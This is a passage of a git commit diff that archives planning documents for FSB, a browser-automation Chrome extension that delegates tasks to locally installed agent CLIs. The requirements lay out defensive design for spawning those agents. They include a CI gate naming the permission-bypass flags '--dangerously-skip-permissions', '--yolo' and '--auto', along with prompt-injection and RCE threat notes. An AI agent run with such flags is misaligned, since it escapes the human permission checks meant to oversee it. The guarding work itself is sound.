milestones/v0.9.91-phases}/64-opencode-adapter/64-06-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-07-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-07-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-08-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-08-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-09-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-09-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-10-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-10-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-11-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-11-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-12-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-12-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-13-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-13-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-CONTEXT.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-HUMAN-UAT.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-PATTERNS.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-RESEARCH.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-REVIEW-FIX.iter2.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-REVIEW-FIX.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-REVIEW.iter2.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-REVIEW.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-SECURITY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-UI-REVIEW.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-UI-SPEC.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-VALIDATION.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/64-opencode-adapter/64-VERIFICATION.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-01-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-01-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-02-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-02-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-03-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-03-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-04-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-04-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-05-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-05-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-06-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-06-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-07-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-07-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-08-PLAN.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-08-SUMMARY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-CONTEXT.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-HUMAN-UAT.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-RESEARCH.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-REVIEW-FIX.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-REVIEW.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-SECURITY.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-UI-REVIEW-FIX.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-UI-REVIEW.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-UI-SPEC.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-VALIDATION.md (100%) rename .planning/{phases => milestones/v0.9.91-phases}/65-codex-adapter/65-VERIFICATION.md (100%) create mode 100644 .planning/milestones/v0.9.91-research/ARCHITECTURE.md create mode 100644 .planning/milestones/v0.9.91-research/FEATURES.md create mode 100644 .planning/milestones/v0.9.91-research/PITFALLS.md create mode 100644 .planning/milestones/v0.9.91-research/STACK.md create mode 100644 .planning/milestones/v0.9.91-research/SUMMARY.md diff --git a/.planning/PROJECT.md b/.planning/PROJECT.md index 472d7270d..42bb058af 100644 --- a/.planning/PROJECT.md +++ b/.planning/PROJECT.md @@ -10,7 +10,9 @@ FSB is an AI-powered browser automation Chrome extension that executes tasks thr ## Current State -**Active milestone progress:** Phases 57-64 are complete (48/51 requirements). Phase 64 verified 4/4 roadmap success criteria, 66/66 plan truths, 36/36 key links, MULTI-01..03, and all ten registered HIGH/CRITICAL threats; its guarded 25-command matrix and repository test process are green after a clean code-review fix loop. Three genuine OpenCode account/process/browser/accessibility scenarios join the prior 42 in the user-directed milestone-end UAT sweep. Phase 65 (Codex Adapter) is the final implementation phase in v0.9.91; backlog Phase 999.1 remains outside this milestone. +**Active milestone:** v1.3.0 Extension multilingual UI — planning. The Chrome extension has no `chrome.i18n` catalog. This milestone makes every package-owned user-facing string render in the same seven locales the showcase already ships. + +**Paused, not shipped:** v0.9.91 MCP Clients as Providers. Automated work through Phase 65 is complete and human UAT remains pending. Its roadmap, requirements, state snapshot, research, and phase directories are archived under `.planning/milestones/v0.9.91-*`. Backlog phase 999.1 stays in `.planning/phases/`. **Last completed:** v1.2.0 Showcase i18n Completeness — Phases 52-56 shipped 2026-07-09. Full-page translation audit, 5-id resync + stats-274 retirement + hero/CTA transcreation, stats lint gate flip, permanent `verify-translation-drift` CI gate, and WARNING-02 locale-cookie redirect fix. VISUAL-01 browser UAT remains human_needed (`53-VISUAL-QA.md`). @@ -25,7 +27,29 @@ FSB is an AI-powered browser automation Chrome extension that executes tasks thr - v1.0.0 Full App Catalog (OpenTabs Parity) -- archived 2026-06-29; T1 expansion debt carried into v1.1.0 -## Current Milestone: v0.9.91 MCP Clients as Providers +## Current Milestone: v1.3.0 Extension multilingual UI + +**Goal:** Internationalize the Chrome extension so every package-owned user-facing string can render in the same seven locales the showcase already ships. + +**Target features:** +- MV3 `chrome.i18n` catalogs for `en`, `es`, `de`, `ja`, `ko`, `zh-CN`, and `zh-TW`, with Chrome folders `zh_CN` and `zh_TW` mapped in one module. +- A runtime resolver so an explicit `chrome.storage.local` choice overrides the browser UI language. Missing keys fall back to English. The website `fsb-locale` cookie is not read. +- Localized manifest name and description, side panel, popup, options and control panel, onboarding, unlock, microphone permission, and package-owned overlay chrome. +- A CI gate that fails on a missing key, an empty message, a changed placeholder, or copied English prose that is not on a hash-bound allowlist. +- A language control that shows the seven native autonyms and persists the choice. + +**Key context:** +- English is the source locale. Native labels are English, Español, Deutsch, 日本語, 한국어, 简体中文, 繁體中文. The list is `showcase/angular/src/app/core/i18n/locale-constants.ts`, mirrored in `showcase/server/src/utils/locale-constants.js`. Korean stays. v1.2.0 docs that say six locales are historical. +- `chrome.i18n.getMessage` and `__MSG_key__` follow the browser UI language and cannot switch at runtime. Extension pages are classic scripts, and the service worker loads helpers with `importScripts`, so the resolver is a classic script on `globalThis`. +- Manifest name and description follow the browser locale. The in-extension override covers extension pages and overlay chrome. +- Brand and product names, commands, and code identifiers follow `showcase/angular/src/locale/DO-NOT-TRANSLATE.md`. +- MCP tool names, JSON-RPC methods, error codes, storage keys, and message types stay byte-stable. +- Phases continue from 66. v0.9.91 human UAT is unchanged and is not marked passed. +- No string translation happens in the planning turn. + +## Paused Milestone: v0.9.91 MCP Clients as Providers + +**Status:** Paused 2026-10-11. Automated work through Phase 65 is complete. Human UAT is still pending. This milestone is not shipped. **Goal:** Make installed agent CLIs (Claude Code first) first-class side-panel providers -- FSB captures which MCP clients the user installs/connects, presents them as key-less providers in a renamed Providers panel, and delegates side-panel tasks to a spawned agent CLI that drives the browser back through FSB's own MCP tools. @@ -38,7 +62,7 @@ FSB is an AI-powered browser automation Chrome extension that executes tasks thr - **Drift gate + compatibility doctor (Phase 62 complete)** -- one daemon-owned compatibility matrix feeds offline production-parser CI, doctor text/JSON, authenticated durable browser projection, protocol-drift diagnostics, and non-mutating Providers compatibility states. Three genuine installed/rendered/accessibility checks remain pending. - **Native wake path (Phase 63 complete)** -- the optional native-messaging host wakes or attaches only to `serve` through exact one-shot framing, exact-owned cross-platform registration, read-only diagnostics, and a background-authoritative wake UI with doctor fallback; it never spawns agent CLIs, and the Phase 59 channel-gate files are byte-identical to the phase base. Eight genuine install/Chrome/accessibility checks remain pending. - **OpenCode adapter (Phase 64 complete)** -- the unchanged five-method `AgentProviderAdapter` now drives both cold `opencode run` tasks and verified attaches to an FSB-owned `opencode serve`; exact 1.14.25 private policy, schema-derived JSONL fixture, first-commit drift coverage, transient server authentication, role-aware crash recovery, provider-neutral browser persistence, and honest unknown billing are all verified. Three genuine live scenarios remain pending. -- **Codex adapter (Phase 65 next)** -- complete the stable adapter roster with hermetic `codex exec --json`, source-pinned fixture/drift coverage, and honest ChatGPT OAuth versus API-key versus unauthenticated disclosure. Gemini remains explicitly deferred until a live help capture and fixture pin exist. Task-mode only for v0.9.91. +- **Codex adapter (Phase 65 automated work complete)** -- hermetic `codex exec --json`, source-pinned fixture/drift coverage, and honest ChatGPT OAuth versus API-key versus unauthenticated disclosure. Human UAT65-01 through UAT65-03 remain pending. Gemini remains explicitly deferred. Task-mode only for v0.9.91. **Key context:** - The spawn channel is security-critical (RCE-adjacent): extension-origin gating + shared secret + explicit consent tiers required. Bridge already rejects untrusted browser origins (`tests/mcp-bridge-topology.test.js`). @@ -736,4 +760,4 @@ This document evolves at phase transitions and milestone boundaries. 4. Update Context with current state --- -*Last updated: 2026-07-21 -- Phase 64 OpenCode Adapter deterministically complete; 45 live scenarios remain deferred to the milestone-end sweep. Next: Phase 65 Codex Adapter.* +*Last updated: 2026-10-11 -- v1.3.0 Extension multilingual UI started. v0.9.91 archived as paused with human UAT still pending, not shipped.* diff --git a/.planning/milestones/v0.9.91-REQUIREMENTS.md b/.planning/milestones/v0.9.91-REQUIREMENTS.md new file mode 100644 index 000000000..a9bf7c9d0 --- /dev/null +++ b/.planning/milestones/v0.9.91-REQUIREMENTS.md @@ -0,0 +1,203 @@ +# Requirements: FSB (Full Self-Browsing) + +**Defined:** 2026-07-11 +**Core Value:** Reliable single-attempt execution -- the AI decides correctly, the mechanics execute precisely. +**Milestone:** v0.9.91 MCP Clients as Providers + +## v1 Requirements + +Requirements for this milestone. Each maps to roadmap phases. + +### IDENT -- Agent Identity Capture + +- [x] **IDENT-01**: When the user clicks a copy-to-clipboard button on the onboarding MCP-install screen for a specific client (`claude-code`, `cursor`, `vscode`, `windsurf`, `codex`, `opencode`, `openclaw`, `claude-desktop`, `all`), FSB records that client id (with timestamp, deduplicated, all-clients aggregated for multi-select cases) into a durable `fsbAgentProviders.clicked` list in `chrome.storage.local`. +- [x] **IDENT-02**: When an MCP client completes its `initialize` handshake with `fsb-mcp-server` (over any transport: stdio, streamable-HTTP, or the ws://7225 bridge), FSB captures the caller's `clientInfo.name` and `clientInfo.version` and threads them to the extension via an additive field on the existing `agent:register` bridge payload without breaking any existing consumer of that payload (INV-01). +- [x] **IDENT-03**: The extension's agent registry stamps captured `clientInfo` onto each live `AgentRecord` and rolls the identity up into a durable `fsbAgentProviders.connected` entry that survives service-worker eviction and Chrome restart, keyed so re-connections update rather than duplicate. +- [x] **IDENT-04**: `fsb-mcp-server` can enumerate installed MCP-capable clients on the current machine by inspecting the paths already known to `platforms.ts` (per-OS `configPath` for file-mode clients; ` --version` probe for cli-mode `claude-code`) and report each as `installed` / `not-installed` with any parseable version. +- [x] **IDENT-05**: A `getMcpClients` extension runtime message returns a merged view (`clicked` ∪ `installed` ∪ `connected`) with per-client status, so UI surfaces read one consistent structure instead of assembling it themselves. + +### PROV -- Providers Panel + +- [x] **PROV-01**: The control panel section formerly labeled "API Configuration" is labeled "Providers" (heading, nav label, and any anchor `#api-config` continues to work as a redirect to the new `#providers` anchor for existing bookmarks). +- [x] **PROV-02**: Each provider has an explicit `providerKind` value of either `api` (the existing 7 BYOK LLM providers) or `agent` (a locally installed agent CLI); the kind determines which fields render. +- [x] **PROV-03**: When an `agent`-kind provider is selected, the API-key input, key-URL hint, and per-model key-format hint are hidden; the panel shows instead the provider's install status, auth status (from the CLI's own login state where surfaceable), connection status, and a short "uses your subscription -- no API key needed" caption. +- [x] **PROV-04**: When the user has both an active `agent` provider selection and a valid BYOK key for an `api` provider, `universal-provider.js` continues to see only `api`-kind provider values; the two selections do not collide, and switching between them preserves the other's configuration (INV-03 provider parity for the BYOK side). +- [x] **PROV-05**: The panel visually marks exactly one provider as "Recommended" per session, chosen by a ground-truth cascade: highest-priority = a provider whose CLI is currently connected via MCP `initialize`, next = a provider whose CLI is installed on disk, next = a provider whose copy button the user clicked during onboarding, fallback = the current xAI-default recommendation. The panel never auto-switches the user's selection; the badge is advisory only. +- [x] **PROV-06**: Cost/usage rows for `agent`-kind providers never display fabricated dollar amounts; they display token count, turn count, and duration and label the run as "included in your subscription", with a link to the vendor's current billing page (copy must not promise "free" or "unlimited"). + +### CHAN -- Delegation Channel & Security Foundation + +- [x] **CHAN-01**: A new bridge message-type family (`ext:request` / `ext:response` / `ext:event`) transports extension→daemon reverse requests over the existing ws://localhost:7225 bridge without changing the byte-shape of any existing `MCPMessageType` value (INV-01 additive proof). +- [x] **CHAN-02**: A relay process signals its ability to fulfill spawn requests by advertising `capabilities: ['agent-spawn']` in its `relay:hello`; the hub routes each `ext:request` locally (if itself the daemon) or to the first relay advertising the required capability. +- [x] **CHAN-03**: The bridge rejects every incoming `ext:*` frame whose WebSocket upgrade did not carry an `Origin` header matching a durable per-install FSB-extension-id allowlist and whose `Host` header is not exactly `127.0.0.1` (or `localhost`) at the loopback port. +- [x] **CHAN-04**: A per-install >=32-byte shared secret is provisioned once between the extension and the daemon, transported only in the `Sec-WebSocket-Protocol` upgrade header (never in URL, never in payloads, never in logs), rotated on daemon restart, and required on every `ext:*` frame. +- [x] **CHAN-05**: `redactForLog` and diagnostic ring-buffer writes strip any string matching the shared-secret token pattern; the drift gate fails the build if a raw secret substring appears in any tracked log fixture. +- [x] **CHAN-06**: The bridge topology test suite covers hub-exit-mid-delegation and relay-mid-`ext:*`-frame scenarios; existing hub-exit-promotion tests still pass byte-for-byte. +- [x] **CHAN-07**: A permanent CI grep gate fails the build if the strings `--dangerously-skip-permissions`, `--yolo`, or `--auto` appear anywhere in `mcp/src/agent-providers/**`, so those flags can never enter the spawn path in any future patch. + +### ADAPT -- Adapter Contract & Spawn Supervisor + +- [x] **ADAPT-01**: An `AgentProviderAdapter` TypeScript interface in `mcp/src/agent-providers/` defines exactly five methods: `detect() -> {installed, version, authState, binary}`, `buildSpawn(task, ctx) -> SpawnSpec`, `parseEvents(stream) -> AsyncIterable`, `kill(child, {grace}) -> Promise`, and `caps() -> AdapterCapabilities`. +- [x] **ADAPT-02**: A `SpawnSupervisor` module living in the `fsb-mcp-server serve` daemon accepts a validated spawn request, looks up the requested adapter, constructs argv from adapter output plus a daemon-controlled flag allowlist (unknown payload keys rejected), and spawns the child with `{ detached: true, windowsHide: true, stdio: ['pipe','pipe','pipe'] }` and an environment with `ANTHROPIC_API_KEY`/`OPENAI_API_KEY`/`GEMINI_API_KEY` scrubbed. +- [x] **ADAPT-03**: The supervisor never invokes a shell; the user's prompt travels only via `child.stdin` (never argv, never `sh -c`) so shell metacharacters and Windows `.cmd`-shim EINVAL (Node CVE-2024-27980) cannot execute. +- [x] **ADAPT-04**: A `stop`/cancel request triggers SIGTERM at the process-group level (POSIX `process.kill(-child.pid, 'SIGTERM')` after `spawn({detached:true})`, Windows `taskkill /pid /T /F`), escalates to SIGKILL after a grace window, and blocks resolving the delegation until either an exit-signal is observed or the daemon confirms no descendant matches remain. +- [x] **ADAPT-05**: On daemon startup, the supervisor scans for orphaned children matching prior adapter fingerprints and kills them before accepting new spawn requests (recovery from crash). + +### CLAUDE -- Claude Code MVP + +- [x] **CLAUDE-01**: The Claude Code adapter spawns `claude -p --verbose --output-format stream-json --include-partial-messages --strict-mcp-config --mcp-config --agents --agent fsb --permission-mode dontAsk --allowedTools "mcp__fsb" --disallowedTools "Bash,Edit,Write,NotebookEdit,WebFetch,WebSearch" --max-turns 40 --no-session-persistence`, or the version-appropriate equivalent selected by `detect()` output. +- [x] **CLAUDE-02**: The user's task prompt is sent to the spawned CLI via stdin only; the adapter constructs no argv fragment containing user-supplied text. +- [x] **CLAUDE-03**: The adapter's `parseEvents` translates the CLI's stream-json events (`system/init`, `assistant`, `user`, tool-use events, `system/api_retry`, `result`) into a normalized `AgentEvent` schema (`type`, `sessionId`, `payload`), fails loud on unknown event types (surfaced as `agent_protocol_drift` diagnostic), and is covered by a recorded JSONL fixture under `tests/fixtures/agent-streams/claude-code-2.1.177/` so CI runs without a live CLI. +- [x] **CLAUDE-04**: The Claude Code adapter's `detect()` fingerprints the binary via `claude --version`, compares against a minimum supported version, and reports `installed=false` with a doctor-diagnostic message rather than spawning if the version predates the verified stream-json contract. + +### UX -- Delegation UX + +- [x] **UX-01**: A fifth entry `delegated` in `EXECUTION_MODES` (`extension/ai/engine-config.js`) defines: `uiFeedbackChannel: 'popup-sidepanel'`, `animatedHighlights: true`, `safetyLimits: { wallClockMs, eventSilenceMs }` (no iteration cap -- the loop runs in the spawned CLI, not `runAgentLoop`), and is selected when the active provider is `agent`-kind. +- [x] **UX-02**: The side panel renders a live per-run streaming feed with distinct card types for init (client, model, session id, allowed tools), tool-call (name, args summary, tab id), retry (typed error class), and result (usage summary), driven by the normalized `AgentEvent` stream. +- [x] **UX-03**: Before FSB spawns any agent CLI for the first time, the user sees an explicit consent card that names the CLI, what it will be permitted to do (drive the FSB MCP tools on the user's live browser), and what it will not be permitted to do (edit files, run shell, fetch arbitrary URLs). A per-run confirm-to-continue toggle is on by default and can be disabled per provider only via an explicit "trust this agent" setting. +- [x] **UX-04**: A prominent Stop button in the side panel triggers `stopDelegatedTask`, which routes to the supervisor's kill and, on confirmed exit, releases every tab that was owned by the spawned agent (per v0.9.60 ownership) and reports "Agent stopped, N tab(s) released" in the feed. +- [x] **UX-05**: A delegated run opens by default in a new background tab; when the user activates the tab that the agent is driving, a persistent "Take control" affordance appears; clicking it pauses the agent (v0.9.60 ownership release + supervisor grace hold), lets the user interact, and offers "Resume with agent" to give ownership back. +- [x] **UX-06**: A post-run summary card displays tokens (in/out/total), turn count, wall-clock duration, cost bucket (`included in your subscription` for agent kind; real USD for api kind), and a per-tool-call breakdown, expandable to the full tool-call log for the run. + +### LIFE -- Lifecycle & Persistence + +- [x] **LIFE-01**: Every progress event received from the supervisor is written to `chrome.storage.session` under a per-delegation key before it fans out to UI subscribers, so a MV3 service worker eviction mid-run reloads exactly the delivered feed on re-open. +- [x] **LIFE-02**: While a delegation is active, the extension pings the bridge every 20 s over the existing WS heartbeat channel to keep the Chrome 116+ SW-lifetime extension applied; if 3 heartbeats are missed the extension shows a `daemon:disconnected` fallback that offers a doctor-relaunch button but does not attempt an in-extension restart. +- [x] **LIFE-03**: If `fsb-mcp-server serve` is not running when a delegated send is attempted, the side panel shows an "Agent offline" state with a deep-link to `fsb-mcp-server doctor` output and does not enqueue or optimistically show the message. +- [x] **LIFE-04**: On daemon restart while a delegation was mid-flight, the supervisor does not re-adopt any surviving spawned CLI; it kills it (LIFE-04 restart-is-clean) and reports `daemon_restart_lost_run` in the side panel so the user knows the run ended. + +### DRIFT -- CI Drift-Smoke Gate & Doctor Extensions + +- [x] **DRIFT-01**: A CI job runs each shipped adapter against a canned prompt fixture, asserts a known event-type sequence and the presence of required fields on `system/init` and `result`, and fails the build on unknown event types, missing fields, or a `--version` outside the compatibility matrix. +- [x] **DRIFT-02**: `fsb-mcp-server doctor` gains a per-adapter section reporting: binary path, version, auth state (parseable where the CLI exposes it), shared-secret presence, and the current spawn-secret rotation age. +- [x] **DRIFT-03**: The diagnostics ring buffer classifies drift events as `agent_protocol_drift` (with adapter id, expected vs observed) and rate-limits duplicate entries at the existing 1-per-10s bucket. +- [x] **DRIFT-04**: The `doctor` output includes a machine-readable adapter compatibility matrix that both CI and the extension can read to render "supported / degraded / unsupported" states without hardcoding versions in extension code. + +### NATIVE -- Native-Messaging Host + +- [x] **NATIVE-01**: `fsb-mcp-server install --native-host` writes the platform-appropriate native-messaging host manifest (macOS `~/Library/Application Support/Google/Chrome/NativeMessagingHosts/`, Linux `~/.config/google-chrome/NativeMessagingHosts/`, Windows registry `HKCU\Software\Google\Chrome\NativeMessagingHosts\`), allowing the FSB extension id as the sole caller, and installs a host binary that wakes the daemon on demand. +- [x] **NATIVE-02**: The extension's manifest gains a `nativeMessaging` permission entry (additive, no other permission changes), and the extension detects native-host presence at boot; when present, an "Agent offline" state auto-attempts a wake before showing the doctor deep-link. +- [x] **NATIVE-03**: The native host itself does not spawn agents; it only starts `fsb-mcp-server serve` (or attaches to a running one) and exits after handoff. All spawn authority remains inside the `serve` daemon behind the CHAN gates. +- [x] **NATIVE-04**: `fsb-mcp-server uninstall --native-host` removes the manifest, and `doctor` reports native-host install state including manifest path and any Chrome allowlist mismatch. + +### MULTI -- Additional Adapters + +- [x] **MULTI-01**: An OpenCode adapter (`mcp/src/agent-providers/opencode.ts`) implements the `AgentProviderAdapter` contract with `caps.serverMode=true`; the supervisor either spawns `opencode run` cold or attaches to a running `opencode serve` per the adapter's `buildSpawn` output (contract-stresser: the ADAPT contract must accommodate both spawn and attach without hardcoding). +- [x] **MULTI-02**: The OpenCode adapter ships a pinned agent definition (equivalent to Claude Code's `--agents fsb`) using OpenCode's `agent create` / `agents` config surface, keyed to a version pinned during phase spike. +- [x] **MULTI-03**: A recorded OpenCode JSONL fixture under `tests/fixtures/agent-streams/opencode-1.14.25/` (or the latest pinned version) proves the adapter's event schema in CI without a live CLI. +- [x] **MULTI-04**: A Codex adapter (`mcp/src/agent-providers/codex.ts`) implements the `AgentProviderAdapter` contract, invoking `codex exec --json` with the current-verified flag set (v0.142.5 as baseline: use `--ephemeral` + `--ignore-user-config` for hermeticity; do not use the deprecated `--full-auto`). +- [x] **MULTI-05**: The Codex adapter's `detect()` correctly identifies auth via ChatGPT OAuth vs API key vs unauthenticated and surfaces the state in the provider panel so the user knows which billing bucket a run will hit. +- [x] **MULTI-06**: A schema-derived Codex JSONL contract fixture pins the event schema in CI with `liveCapturePending: true` until genuine UAT capture, and the adapter's `caps()` correctly reports `chatMode: false` for v0.9.91 (task-mode only across all adapters). + +## v2 Requirements + +Deferred to future release. Tracked but not in current roadmap. + +### Chat-Mode Continuity + +- **CHAT-FUTURE-01**: Adapters expose `caps.chatMode: true` and the side panel maps a chat thread to `--resume ` (Claude Code) / `codex resume` / `gemini --resume` / `opencode --continue` per adapter. +- **CHAT-FUTURE-02**: The daemon pins per-thread working directory so `claude --resume` finds its history. + +### Gemini CLI Adapter + +- **GEMINI-FUTURE-01**: Gemini CLI adapter after a live `--help` capture and JSONL schema pinning (v0.9.91 lacked a local binary to verify against). + +### Broader Agent Ecosystem + +- **ACP-FUTURE-01**: ACP-based adapter unification (`@zed-industries/agent-client-protocol`) once ≥2 non-Claude adapters have shipped and proven the contract shape. +- **REMOTE-FUTURE-01**: Remote/mobile delegation surfaces (Happy-style approval flows) -- explicitly localhost-only in v0.9.91. + +## Out of Scope + +Explicitly excluded. Documented to prevent scope creep. + +| Feature | Reason | +|---------|--------| +| Embedding `@anthropic-ai/claude-agent-sdk` in FSB | Anthropic policy prohibits third-party products from using consumer subscription auth via the SDK (enforcement Apr 4 2026); shelling to the user's installed `claude` binary is the only compliant "no API key" path. | +| Proxying / spoofing subscription OAuth tokens | Banned outright by Anthropic Apr 4 2026; would be product-killing regardless of technical feasibility. | +| Bundling / silent-installing agent CLIs | Wrong shape for a Chrome extension + npm daemon; would violate Chrome Web Store distribution rules and add attack surface. | +| PTY / TUI screen-scraping of agent CLIs | Structured headless interfaces exist for all four target CLIs; scraping is a maintenance sinkhole. | +| Any `--dangerously-skip-permissions` / `--yolo` / `--auto` flag in the spawn path | 1-click RCE for any prompt-injection incident; CHAN-07 grep gate makes this a permanent invariant. | +| Fabricated dollar costs on subscription-backed runs | Cline established the $0.00 convention; PROV-06 codifies it. | +| Auto-switching the user's provider when a "better" agent appears | Advisory badge only (PROV-05); user consent is the load-bearing property. | +| Forcing users away from BYOK when an agent is available | INV-03 provider parity carries forward; BYOK stays first-class. | +| `Firefox` support | Deferred at project level; MV3 nativeMessaging in NATIVE requirements is Chrome-specific for v0.9.91. | +| Native host that itself spawns agent CLIs | NATIVE-03 explicitly forbids this; all spawn authority lives inside the serve daemon behind CHAN gates. | + +## Traceability + +Which phases cover which requirements. Populated during roadmap creation. + +| Requirement | Phase | Status | +|-------------|-------|--------| +| IDENT-01 | Phase 57 | Complete | +| IDENT-02 | Phase 57 | Complete | +| IDENT-03 | Phase 57 | Complete | +| IDENT-04 | Phase 57 | Complete | +| IDENT-05 | Phase 57 | Complete | +| PROV-01 | Phase 58 | Complete | +| PROV-02 | Phase 58 | Complete | +| PROV-03 | Phase 58 | Complete | +| PROV-04 | Phase 58 | Complete | +| PROV-05 | Phase 58 | Complete | +| PROV-06 | Phase 58 | Complete | +| CHAN-01 | Phase 59 | Complete | +| CHAN-02 | Phase 59 | Complete | +| CHAN-03 | Phase 59 | Complete | +| CHAN-04 | Phase 59 | Complete | +| CHAN-05 | Phase 59 | Complete | +| CHAN-06 | Phase 59 | Complete | +| CHAN-07 | Phase 59 | Complete | +| ADAPT-01 | Phase 60 | Complete | +| ADAPT-02 | Phase 60 | Complete | +| ADAPT-03 | Phase 60 | Complete | +| ADAPT-04 | Phase 60 | Complete | +| ADAPT-05 | Phase 60 | Complete | +| CLAUDE-01 | Phase 60 | Complete | +| CLAUDE-02 | Phase 60 | Complete | +| CLAUDE-03 | Phase 60 | Complete | +| CLAUDE-04 | Phase 60 | Complete | +| UX-01 | Phase 61 | Complete | +| UX-02 | Phase 61 | Complete | +| UX-03 | Phase 61 | Complete | +| UX-04 | Phase 61 | Complete | +| UX-05 | Phase 61 | Complete | +| UX-06 | Phase 61 | Complete | +| LIFE-01 | Phase 61 | Complete | +| LIFE-02 | Phase 61 | Complete | +| LIFE-03 | Phase 61 | Complete | +| LIFE-04 | Phase 61 | Complete | +| DRIFT-01 | Phase 62 | Complete | +| DRIFT-02 | Phase 62 | Complete | +| DRIFT-03 | Phase 62 | Complete | +| DRIFT-04 | Phase 62 | Complete | +| NATIVE-01 | Phase 63 | Complete | +| NATIVE-02 | Phase 63 | Complete | +| NATIVE-03 | Phase 63 | Complete | +| NATIVE-04 | Phase 63 | Complete | +| MULTI-01 | Phase 64 | Complete | +| MULTI-02 | Phase 64 | Complete | +| MULTI-03 | Phase 64 | Complete | +| MULTI-04 | Phase 65 | Complete | +| MULTI-05 | Phase 65 | Complete | +| MULTI-06 | Phase 65 | Complete | + +**Coverage:** +- v1 requirements: 51 total +- Mapped to phases: 51 / 51 (100%) +- Unmapped: 0 + +**Phase distribution:** +- Phase 57 (IDENT): 5 requirements +- Phase 58 (PROV): 6 requirements +- Phase 59 (CHAN): 7 requirements +- Phase 60 (ADAPT + CLAUDE): 9 requirements +- Phase 61 (UX + LIFE): 10 requirements +- Phase 62 (DRIFT): 4 requirements +- Phase 63 (NATIVE): 4 requirements +- Phase 64 (MULTI-OpenCode): 3 requirements +- Phase 65 (MULTI-Codex): 3 requirements + +--- +*Requirements defined: 2026-07-11* +*Last updated: 2026-07-16 after Phase 62 completion (41/51 requirements complete; all live checks deferred to milestone end)* diff --git a/.planning/milestones/v0.9.91-ROADMAP.md b/.planning/milestones/v0.9.91-ROADMAP.md new file mode 100644 index 000000000..ec3d07ae3 --- /dev/null +++ b/.planning/milestones/v0.9.91-ROADMAP.md @@ -0,0 +1,521 @@ +# Roadmap: FSB (Full Self-Browsing) + +> **Historical-scope note (2026-07-15):** The Phase 54 dashboard-exclusion +> entries below preserve the completed v1.2.0 roadmap. A later showcase +> localization follow-up superseded that policy by localizing the dashboard and +> removing its lint exclusion. Current policy lives in +> `showcase/angular/src/locale/I18N-BOUNDARIES.md`. + +## Milestones + +- 🚧 **v0.9.91 MCP Clients as Providers** — Phases 57-65, planning 2026-07-11. Extends the Chrome 